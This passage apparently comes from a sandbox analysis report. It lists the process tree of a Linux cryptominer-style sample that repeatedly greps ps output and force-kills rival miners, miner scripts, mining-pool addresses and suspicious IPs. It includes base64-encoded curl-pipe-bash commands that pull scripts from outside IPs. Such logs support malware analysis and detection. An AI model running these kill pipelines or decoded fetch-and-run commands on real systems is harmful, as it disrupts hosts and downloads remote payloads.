  xargs -I "%" kill -9 "%"
  2⤵
  PID:1067
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1066
- /bin/grep
  grep hahwNEdB
  2⤵
  PID:1065
- /bin/grep
  grep -v grep
  2⤵
  PID:1064
- /bin/ps
  ps aux
  2⤵
  PID:1063
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1074
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1073
- /bin/grep
  grep BtwXn5qH
  2⤵
  PID:1072
- /bin/grep
  grep -v grep
  2⤵
  PID:1071
- /bin/ps
  ps aux
  2⤵
  PID:1070
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1083
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1082
- /bin/grep
  grep 3XEzey2T
  2⤵
  PID:1081
- /bin/grep
  grep -v grep
  2⤵
  PID:1080
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1079
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1089
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1088
- /bin/grep
  grep t2tKrCSZ
  2⤵
  PID:1087
- /bin/grep
  grep -v grep
  2⤵
  PID:1086
- /bin/ps
  ps aux
  2⤵
  - Reads runtime system information
  PID:1085
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1098
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1097
- /bin/grep
  grep HD7fcBgg
  2⤵
  PID:1096
- /bin/grep
  grep -v grep
  2⤵
  PID:1095
- /bin/ps
  ps aux
  2⤵
  - Reads runtime system information
  PID:1094
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1105
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1104
- /bin/grep
  grep zXcDajSs
  2⤵
  PID:1103
- /bin/grep
  grep -v grep
  2⤵
  PID:1102
- /bin/ps
  ps aux
  2⤵
  PID:1101
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1111
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1110
- /bin/grep
  grep 3lmigMo
  2⤵
  PID:1109
- /bin/grep
  grep -v grep
  2⤵
  PID:1108
- /bin/ps
  ps aux
  2⤵
  PID:1107
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1119
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1118
- /bin/grep
  grep AkMK4A2
  2⤵
  PID:1117
- /bin/grep
  grep -v grep
  2⤵
  PID:1116
- /bin/ps
  ps aux
  2⤵
  - Reads runtime system information
  PID:1115
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1124
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1123
- /bin/grep
  grep AJ2AkKe
  2⤵
  PID:1122
- /bin/grep
  grep -v grep
  2⤵
  PID:1121
- /bin/ps
  ps aux
  2⤵
  PID:1120
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1130
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1129
- /bin/grep
  grep HiPxCJRS
  2⤵
  PID:1128
- /bin/grep
  grep -v grep
  2⤵
  PID:1127
- /bin/ps
  ps aux
  2⤵
  PID:1126
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1135
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1134
- /bin/grep
  grep http_0xCC030
  2⤵
  PID:1133
- /bin/grep
  grep -v grep
  2⤵
  PID:1132
- /bin/ps
  ps aux
  2⤵
  PID:1131
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1140
- /bin/grep
  grep http_0xCC031
  2⤵
  PID:1139
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1141
- /bin/grep
  grep -v grep
  2⤵
  PID:1138
- /bin/ps
  ps aux
  2⤵
  PID:1137
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1146
- /bin/grep
  grep http_0xCC032
  2⤵
  PID:1144
- /bin/grep
  grep -v grep
  2⤵
  PID:1143
- /bin/ps
  ps aux
  2⤵
  PID:1142
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1145
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1151
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1150
- /bin/grep
  grep http_0xCC033
  2⤵
  PID:1149
- /bin/grep
  grep -v grep
  2⤵
  PID:1148
- /bin/ps
  ps aux
  2⤵
  PID:1147
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1156
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1155
- /bin/grep
  grep C4iLM4L
  2⤵
  PID:1154
- /bin/grep
  grep -v grep
  2⤵
  PID:1153
- /bin/ps
  ps aux
  2⤵
  PID:1152
- /bin/grep
  grep aziplcr72qjhzvin
  2⤵
  PID:1159
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1161
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1160
- /bin/grep
  grep -v grep
  2⤵
  PID:1158
- /bin/ps
  ps aux
  2⤵
  PID:1157
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1165
- /usr/bin/awk
  awk "{ if(substr(\$11,1,2)==\"./\" && substr(\$12,1,2)==\"./\") print \$2 }"
  2⤵
  PID:1164
- /bin/grep
  grep -v grep
  2⤵
  PID:1163
- /bin/ps
  ps aux
  2⤵
  - Reads runtime system information
  PID:1162
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1170
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1169
- /bin/grep
  grep /boot/vmlinuz
  2⤵
  PID:1168
- /bin/grep
  grep -v grep
  2⤵
  PID:1167
- /bin/ps
  ps aux
  2⤵
  PID:1166
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1175
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1174
- /bin/grep
  grep i4b503a52cc5
  2⤵
  PID:1173
- /bin/grep
  grep -v grep
  2⤵
  PID:1172
- /bin/ps
  ps aux
  2⤵
  PID:1171
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1179
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1180
- /bin/grep
  grep dgqtrcst23rtdi3ldqk322j2
  2⤵
  PID:1178
- /bin/grep
  grep -v grep
  2⤵
  PID:1177
- /bin/ps
  ps aux
  2⤵
  PID:1176
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1185
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1184
- /bin/grep
  grep 2g0uv7npuhrlatd
  2⤵
  PID:1183
- /bin/grep
  grep -v grep
  2⤵
  PID:1182
- /bin/ps
  ps aux
  2⤵
  PID:1181
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1190
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1189
- /bin/grep
  grep nqscheduler
  2⤵
  PID:1188
- /bin/grep
  grep -v grep
  2⤵
  PID:1187
- /bin/ps
  ps aux
  2⤵
  - Reads runtime system information
  PID:1186
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1195
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1194
- /bin/grep
  grep rkebbwgqpl4npmm
  2⤵
  PID:1193
- /bin/grep
  grep -v grep
  2⤵
  PID:1192
- /bin/ps
  ps aux
  2⤵
  - Reads runtime system information
  PID:1191
- /usr/bin/awk
  awk "\$3>10.0{print \$2}"
  2⤵
  PID:1200
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1201
- /bin/grep
  grep "]"
  2⤵
  PID:1199
- /bin/grep
  grep -v aux
  2⤵
  PID:1198
- /bin/grep
  grep -v grep
  2⤵
  PID:1197
- /bin/ps
  ps aux
  2⤵
  PID:1196
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1206
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1205
- /bin/grep
  grep 2fhtu70teuhtoh78jc5s
  2⤵
  PID:1204
- /bin/grep
  grep -v grep
  2⤵
  PID:1203
- /bin/ps
  ps aux
  2⤵
  PID:1202
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1211
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1210
- /bin/grep
  grep 0kwti6ut420t
  2⤵
  PID:1209
- /bin/grep
  grep -v grep
  2⤵
  PID:1208
- /bin/ps
  ps aux
  2⤵
  PID:1207
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1216
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1215
- /bin/grep
  grep 44ct7udt0patws3agkdfqnjm
  2⤵
  PID:1214
- /bin/grep
  grep -v grep
  2⤵
  PID:1213
- /bin/ps
  ps aux
  2⤵
  - Reads runtime system information
  PID:1212
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1223
- /bin/grep
  grep -v _
  2⤵
  PID:1221
- /usr/bin/awk
  awk "length(\$11)>19{print \$2}"
  2⤵
  PID:1222
- /bin/grep
  grep -v -
  2⤵
  PID:1220
- /bin/grep
  grep -v /
  2⤵
  PID:1219
- /bin/grep
  grep -v grep
  2⤵
  PID:1218
- /bin/ps
  ps aux
  2⤵
  PID:1217
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1228
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1227
- /bin/grep
  grep "\\[^"
  2⤵
  PID:1226
- /bin/grep
  grep -v grep
  2⤵
  PID:1225
- /bin/ps
  ps aux
  2⤵
  PID:1224
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1233
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1232
- /bin/grep
  grep rsync
  2⤵
  PID:1231
- /bin/grep
  grep -v grep
  2⤵
  PID:1230
- /bin/ps
  ps aux
  2⤵
  PID:1229
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1238
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1237
- /bin/grep
  grep watchd0g
  2⤵
  PID:1236
- /bin/grep
  grep -v grep
  2⤵
  PID:1235
- /bin/ps
  ps aux
  2⤵
  PID:1234
- /bin/grep
  grep -v grep
  2⤵
  PID:1240
- /bin/ps
  ps aux
  2⤵
  PID:1239
- /bin/egrep
  egrep "wnTKYg|2t3ik|qW3xT.2|ddg"
  2⤵
  PID:1241
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1242
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1243
- /usr/local/sbin/grep
  grep -E "wnTKYg|2t3ik|qW3xT.2|ddg"
  2⤵
  PID:1241
- /usr/local/bin/grep
  grep -E "wnTKYg|2t3ik|qW3xT.2|ddg"
  2⤵
  PID:1241
- /usr/sbin/grep
  grep -E "wnTKYg|2t3ik|qW3xT.2|ddg"
  2⤵
  PID:1241
- /usr/bin/grep
  grep -E "wnTKYg|2t3ik|qW3xT.2|ddg"
  2⤵
  PID:1241
- /sbin/grep
  grep -E "wnTKYg|2t3ik|qW3xT.2|ddg"
  2⤵
  PID:1241
- /bin/grep
  grep -E "wnTKYg|2t3ik|qW3xT.2|ddg"
  2⤵
  PID:1241
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1248
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1247
- /bin/grep
  grep 158.69.133.18:8220
  2⤵
  PID:1246
- /bin/grep
  grep -v grep
  2⤵
  PID:1245
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1244
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1253
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1252
- /bin/grep
  grep /tmp/java
  2⤵
  PID:1251
- /bin/grep
  grep -v grep
  2⤵
  PID:1250
- /bin/ps
  ps aux
  2⤵
  PID:1249
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1260
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1259
- /bin/grep
  grep gitee.com
  2⤵
  PID:1258
- /bin/grep
  grep -v grep
  2⤵
  PID:1257
- /bin/ps
  ps aux
  2⤵
  PID:1256
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1266
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1265
- /bin/grep
  grep /tmp/java
  2⤵
  PID:1264
- /bin/grep
  grep -v grep
  2⤵
  PID:1263
- /bin/ps
  ps aux
  2⤵
  PID:1262
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1272
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1271
- /bin/grep
  grep 104.248.4.162
  2⤵
  PID:1270
- /bin/grep
  grep -v grep
  2⤵
  PID:1269
- /bin/ps
  ps aux
  2⤵
  - Reads runtime system information
  PID:1268
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1279
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1278
- /bin/grep
  grep 89.35.39.78
  2⤵
  PID:1277
- /bin/grep
  grep -v grep
  2⤵
  PID:1276
- /bin/ps
  ps aux
  2⤵
  PID:1275
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1286
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1285
- /bin/grep
  grep /dev/shm/z3.sh
  2⤵
  PID:1284
- /bin/grep
  grep -v grep
  2⤵
  PID:1283
- /bin/ps
  ps aux
  2⤵
  PID:1282
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1291
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1290
- /bin/grep
  grep kthrotlds
  2⤵
  PID:1289
- /bin/grep
  grep -v grep
  2⤵
  PID:1288
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  PID:1287
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1298
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1297
- /bin/grep
  grep ksoftirqds
  2⤵
  PID:1296
- /bin/grep
  grep -v grep
  2⤵
  PID:1295
- /bin/ps
  ps aux
  2⤵
  PID:1294
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1305
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1304
- /bin/grep
  grep netdns
  2⤵
  PID:1303
- /bin/grep
  grep -v grep
  2⤵
  PID:1302
- /bin/ps
  ps aux
  2⤵
  PID:1301
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1310
- /bin/grep
  grep -v grep
  2⤵
  PID:1308
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1311
- /bin/ps
  ps aux
  2⤵
  - Reads runtime system information
  PID:1307
- /bin/grep
  grep watchdogs
  2⤵
  PID:1309
- /bin/grep
  grep -v dblaunched
  2⤵
  PID:1318
- /bin/grep
  grep -v dblaunchs
  2⤵
  PID:1317
- /bin/grep
  grep -v dblaunch
  2⤵
  PID:1316
- /bin/grep
  grep -v root
  2⤵
  PID:1315
- /bin/grep
  grep -v apache2
  2⤵
  PID:1319
- /bin/grep
  grep -v grep
  2⤵
  PID:1314
- /bin/grep
  grep -v atd
  2⤵
  PID:1320
- /bin/grep
  grep -v kdevtmpfsi
  2⤵
  PID:1321
- /usr/bin/awk
  awk "\$3>80.0{print \$2}"
  2⤵
  PID:1322
- /bin/ps
  ps aux
  2⤵
  PID:1313
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1323
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1331
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1330
- /bin/grep
  grep " ps"
  2⤵
  PID:1329
- /bin/grep
  grep -v aux
  2⤵
  PID:1328
- /bin/grep
  grep -v grep
  2⤵
  PID:1327
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  PID:1326
- /bin/grep
  grep sync_supers
  2⤵
  PID:1335
- /bin/grep
  grep -v grep
  2⤵
  PID:1334
- /bin/ps
  ps aux
  2⤵
  PID:1333
- /usr/bin/cut
  cut -c 9-15
  2⤵
  PID:1336
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1337
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1343
- /usr/bin/cut
  cut -c 9-15
  2⤵
  PID:1342
- /bin/grep
  grep cpuset
  2⤵
  PID:1341
- /bin/grep
  grep -v grep
  2⤵
  PID:1340
- /bin/ps
  ps aux
  2⤵
  PID:1339
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1351
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1350
- /bin/grep
  grep "x]"
  2⤵
  PID:1349
- /bin/grep
  grep -v aux
  2⤵
  PID:1348
- /bin/grep
  grep -v grep
  2⤵
  PID:1347
- /bin/ps
  ps aux
  2⤵
  - Reads runtime system information
  PID:1346
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1359
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1358
- /bin/grep
  grep "sh] <"
  2⤵
  PID:1357
- /bin/grep
  grep -v aux
  2⤵
  PID:1356
- /bin/grep
  grep -v grep
  2⤵
  PID:1355
- /bin/ps
  ps aux
  2⤵
  PID:1354
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1366
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1365
- /bin/grep
  grep " \\[]"
  2⤵
  PID:1364
- /bin/grep
  grep -v aux
  2⤵
  PID:1363
- /bin/grep
  grep -v grep
  2⤵
  PID:1362
- /bin/ps
  ps aux
  2⤵
  PID:1361
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1372
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1371
- /bin/grep
  grep /tmp/l.sh
  2⤵
  PID:1370
- /bin/grep
  grep -v grep
  2⤵
  PID:1369
- /bin/ps
  ps aux
  2⤵
  PID:1368
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1379
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1378
- /bin/grep
  grep /tmp/zmcat
  2⤵
  PID:1377
- /bin/grep
  grep -v grep
  2⤵
  PID:1376
- /bin/ps
  ps aux
  2⤵
  PID:1375
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1385
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1384
- /bin/grep
  grep hahwNEdB
  2⤵
  PID:1383
- /bin/grep
  grep -v grep
  2⤵
  PID:1382
- /bin/ps
  ps aux
  2⤵
  - Reads runtime system information
  PID:1381
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1391
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1390
- /bin/grep
  grep CnzFVPLF
  2⤵
  PID:1389
- /bin/grep
  grep -v grep
  2⤵
  PID:1388
- /bin/ps
  ps aux
  2⤵
  PID:1387
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1398
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1397
- /bin/grep
  grep CvKzzZLs
  2⤵
  PID:1396
- /bin/grep
  grep -v grep
  2⤵
  PID:1395
- /bin/ps
  ps aux
  2⤵
  PID:1394
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1403
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1402
- /bin/grep
  grep aziplcr72qjhzvin
  2⤵
  PID:1401
- /bin/grep
  grep -v grep
  2⤵
  PID:1400
- /bin/ps
  ps aux
  2⤵
  PID:1399
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1408
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1407
- /bin/grep
  grep /tmp/udevd
  2⤵
  PID:1406
- /bin/grep
  grep -v grep
  2⤵
  PID:1405
- /bin/ps
  ps aux
  2⤵
  PID:1404
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1413
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1412
- /bin/grep
  grep KCBjdXJsIC1vIC0gaHR0cDovLzg5LjIyMS41Mi4xMjIvcy5zaCApIHwgYmFzaCA
  2⤵
  PID:1411
- /bin/grep
  grep -v grep
  2⤵
  PID:1410
- /bin/ps
  ps aux
  2⤵
  PID:1409
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1418
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1417
- /bin/grep
  grep Y3VybCAtcyBodHRwOi8vMTA3LjE3NC40Ny4xNTYvbXIuc2ggfCBiYXNoIC1zaAo
  2⤵
  PID:1416
- /bin/grep
  grep -v grep
  2⤵
  PID:1415
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  PID:1414
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1423
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1422
- /bin/grep
  grep sustse
  2⤵
  PID:1421
- /bin/grep
  grep -v grep
  2⤵
  PID:1420
- /bin/ps
  ps aux
  2⤵
  PID:1419
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1428
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1427
- /bin/grep
  grep sustse3
  2⤵
  PID:1426
- /bin/grep
  grep -v grep
  2⤵
  PID:1425
- /bin/ps
  ps aux
  2⤵
  PID:1424
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1434
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1433
- /bin/grep
  grep wget
  2⤵
  PID:1432
- /bin/grep
  grep mr.sh
  2⤵
  PID:1431
- /bin/grep
  grep -v grep
  2⤵
  PID:1430
- /bin/ps
  ps aux
  2⤵
  - Reads runtime system information
  PID:1429
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1440
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1439
- /bin/grep
  grep curl
  2⤵
  PID:1438
- /bin/grep
  grep mr.sh
  2⤵
  PID:1437
- /bin/grep
  grep -v grep
  2⤵
  PID:1436
- /bin/ps
  ps aux
  2⤵
  PID:1435
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1446
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1445
- /bin/grep
  grep wget
  2⤵
  PID:1444
- /bin/grep
  grep 2mr.sh
  2⤵
  PID:1443
- /bin/grep
  grep -v grep
  2⤵
  PID:1442
- /bin/ps
  ps aux
  2⤵
  - Reads runtime system information
  PID:1441
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1452
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1451
- /bin/grep
  grep curl
  2⤵
  PID:1450
- /bin/grep
  grep 2mr.sh
  2⤵
  PID:1449
- /bin/grep
  grep -v grep
  2⤵
  PID:1448
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  PID:1447
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1458
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1457
- /bin/grep
  grep wget
  2⤵
  PID:1456
- /bin/grep
  grep cr5.sh
  2⤵
  PID:1455
- /bin/grep
  grep -v grep
  2⤵
  PID:1454
- /bin/ps
  ps aux
  2⤵
  PID:1453
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1464
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1463
- /bin/grep
  grep curl
  2⤵
  PID:1462
- /bin/grep
  grep cr5.sh
  2⤵
  PID:1461
- /bin/grep
  grep -v grep
  2⤵
  PID:1460
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  PID:1459
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1470
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1469
- /bin/grep
  grep wget
  2⤵
  PID:1468
- /bin/grep
  grep logo9.jpg
  2⤵
  PID:1467
- /bin/grep
  grep -v grep
  2⤵
  PID:1466
- /bin/ps
  ps aux
  2⤵
  PID:1465
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1476
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1475
- /bin/grep
  grep curl
  2⤵
  PID:1474
- /bin/grep
  grep logo9.jpg
  2⤵
  PID:1473
- /bin/grep
  grep -v grep
  2⤵
  PID:1472
- /bin/ps
  ps aux
  2⤵
  PID:1471
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1481
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1480
- /bin/grep
  grep j2.conf
  2⤵
  PID:1479
- /bin/grep
  grep -v grep
  2⤵
  PID:1478
- /bin/ps
  ps aux
  2⤵
  PID:1477
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1487
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1486
- /bin/grep
  grep wget
  2⤵
  PID:1485
- /bin/grep
  grep luk-cpu
  2⤵
  PID:1484
- /bin/grep
  grep -v grep
  2⤵
  PID:1483
- /bin/ps
  ps aux
  2⤵
  PID:1482
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1493
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1492
- /bin/grep
  grep curl
  2⤵
  PID:1491
- /bin/grep
  grep luk-cpu
  2⤵
  PID:1490
- /bin/grep
  grep -v grep
  2⤵
  PID:1489
- /bin/ps
  ps aux
  2⤵
  - Reads runtime system information
  PID:1488
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1499
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1498
- /bin/grep
  grep wget
  2⤵
  PID:1497
- /bin/grep
  grep ficov
  2⤵
  PID:1496
- /bin/grep
  grep -v grep
  2⤵
  PID:1495
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  PID:1494
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1505
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1504
- /bin/grep
  grep curl
  2⤵
  PID:1503
- /bin/grep
  grep ficov
  2⤵
  PID:1502
- /bin/grep
  grep -v grep
  2⤵
  PID:1501
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1500
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1511
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1510
- /bin/grep
  grep wget
  2⤵
  PID:1509
- /bin/grep
  grep he.sh
  2⤵
  PID:1508
- /bin/grep
  grep -v grep
  2⤵
  PID:1507
- /bin/ps
  ps aux
  2⤵
  - Reads runtime system information
  PID:1506
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1517
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1516
- /bin/grep
  grep curl
  2⤵
  PID:1515
- /bin/grep
  grep he.sh
  2⤵
  PID:1514
- /bin/grep
  grep -v grep
  2⤵
  PID:1513
- /bin/ps
  ps aux
  2⤵
  - Reads runtime system information
  PID:1512
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1523
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1522
- /bin/grep
  grep wget
  2⤵
  PID:1521
- /bin/grep
  grep miner.sh
  2⤵
  PID:1520
- /bin/grep
  grep -v grep
  2⤵
  PID:1519
- /bin/ps
  ps aux
  2⤵
  - Reads runtime system information
  PID:1518
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1529
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1528
- /bin/grep
  grep curl
  2⤵
  PID:1527
- /bin/grep
  grep miner.sh
  2⤵
  PID:1526
- /bin/grep
  grep -v grep
  2⤵
  PID:1525
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  PID:1524
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1535
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1534
- /bin/grep
  grep wget
  2⤵
  PID:1533
